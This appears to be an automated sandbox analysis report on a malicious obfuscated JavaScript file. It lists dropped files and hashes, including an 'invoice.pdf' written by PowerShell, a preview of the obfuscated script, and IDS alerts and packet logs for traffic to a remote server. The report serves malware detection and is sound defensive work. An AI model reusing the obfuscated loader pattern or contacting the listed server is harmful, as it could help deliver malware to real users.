Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\29a33ecf-b7ec-416f-b473-1c4df9f2c6e8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\81881eab-cb74-4da3-b609-00136abb0e4c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/nZwYIGNPzWL07oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:fZwZG5WLxYGZn3mlind9i4ufFXpAXkru
MD5:	F43041C007C55C623135DD65EBCBE292
SHA1:	0F5781369DB2C967A1795898030244B2E9D561F6
SHA-256:	4F7827EA2E3ACAA6A1B5BC7969516DD8EF08AC789E9C5FBCE61A71D0553C2B8D
SHA-512:	E5D1D615B902E4D66FD550BDF1418FE7D70BC08548EA006891F90CB183299D6700547205A3F2FEED6AE2C2F3A95B5F094356E4FB5451A36C4555CBFABE4D44F5
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\9875de6a-85ef-4e07-820c-bf72f89dac2a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\fda00a15-9c40-4900-8dde-71031dff6849.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16317), with CRLF line terminators
Entropy (8bit):	4.917334087000626
TrID:
File name:	19048239772762424923.js
File size:	19'972 bytes
MD5:	7c5daa83a856f1f45af2dc6f0ad0d8c6
SHA1:	077d87518e86d9545cc1db96426db29c07ea5cc3
SHA256:	eae8c9a878fa6ba7268626ffa78a3a827c03775df70fa00e6e35ad611e554ca1
SHA512:	a3e5e7c69178c447d845a4a015ffe8d2565eb9b30ccabe05193bd650e978b40af0b4ab55327682f9b3621b0cdab531dad1147193e44e7d441fe26fb43c4ee77b
SSDEEP:	384:JbUZowA0k5SJUVdFJT8rTF00TO7+73uEX1NU1U0zQ+yzogNJAGKv450ToIy:JbUZowA0k5SJUVdFJT8rTF00TO7+73uQ
TLSH:	4B92968625944587C8E63CC225E519FAB2B893C8878141E862976F87110F91FE9EE0FE
File Content Preview:	function yxdxpn(){nmvemrmge=[1031,3079,5127,4103,2055,3072];var ghdtsd=this[jsdwsns+aqidef+yxycxxbdy+xlrknfcos+zixqlxmm+fustexmt+lvfunim+ynqgzbxs](this[wchonykbb+sryddx+gkned+yxycxxbdy+dbhghwq+jsdwsns+ynqgzbxs][szxtuo+yxycxxbdy+zixqlxmm+aqidef+ynqgzbxs+zi

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T18:42:53.370349+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-10T18:42:55.834644+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49700	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:42:52.547497034 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:52.552340984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:52.555273056 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:52.608393908 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:52.613204002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.370220900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.370286942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.370299101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.370348930 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.370448112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.370502949 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.370594025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.370621920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.370632887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.370645046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.370707989 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.370707989 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.370892048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.370915890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.370975971 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.375173092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.413388014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.413408041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.413575888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.459654093 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.495356083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.495440006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.495450974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.495518923 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.495601892 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.495615005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.495651007 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.495861053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.495881081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.495889902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.495909929 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.495942116 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.496249914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.496313095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.496324062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.496375084 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.496507883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.496551991 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.496556044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.497298002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.497309923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.497322083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.497349977 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.497381926 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.497467041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.497478008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.497533083 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.498142004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.498225927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.498236895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.498270035 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.498359919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.498406887 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.547400951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.583136082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.583157063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.583285093 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.587728024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.587738991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.587790012 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.620683908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.620697975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.620714903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.620841026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.620851994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.620938063 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.620938063 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.621006966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.621056080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.621109962 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.621181011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.621258974 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.621262074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.621273041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.621320963 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.621459961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.621471882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.621522903 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.621767998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.621817112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.621997118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.622040987 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.622107029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.622117043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.622155905 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.622271061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.622282028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.622293949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.622304916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.622318983 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.622348070 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.622868061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.622947931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.622960091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.622992992 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.623014927 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.623158932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.623172045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.623187065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.623198986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.623214006 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.623245001 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.623771906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.623851061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.623862028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.623898983 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.624066114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.624075890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.624085903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.624097109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.624106884 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.624141932 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.624631882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.624670029 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.624695063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.624706030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.624747038 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.624917984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.624928951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.624939919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.624950886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.624970913 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.624994040 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.625468016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.639672995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.639692068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.639915943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.679974079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.680007935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.680224895 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.708324909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.708370924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.708379984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.708477974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.708502054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.708559036 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.708559036 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.713331938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.713346958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.713491917 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.745960951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.745975018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.745985031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.746046066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.746057034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.746068954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.746069908 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.746150970 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.746275902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.746309042 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.746360064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.746464968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.746475935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.746488094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.746503115 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.746532917 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.746655941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.746774912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.746784925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.746824980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.746915102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.746925116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.746933937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.746954918 CET	49699	80	192.168.2.7	193.143.1.205
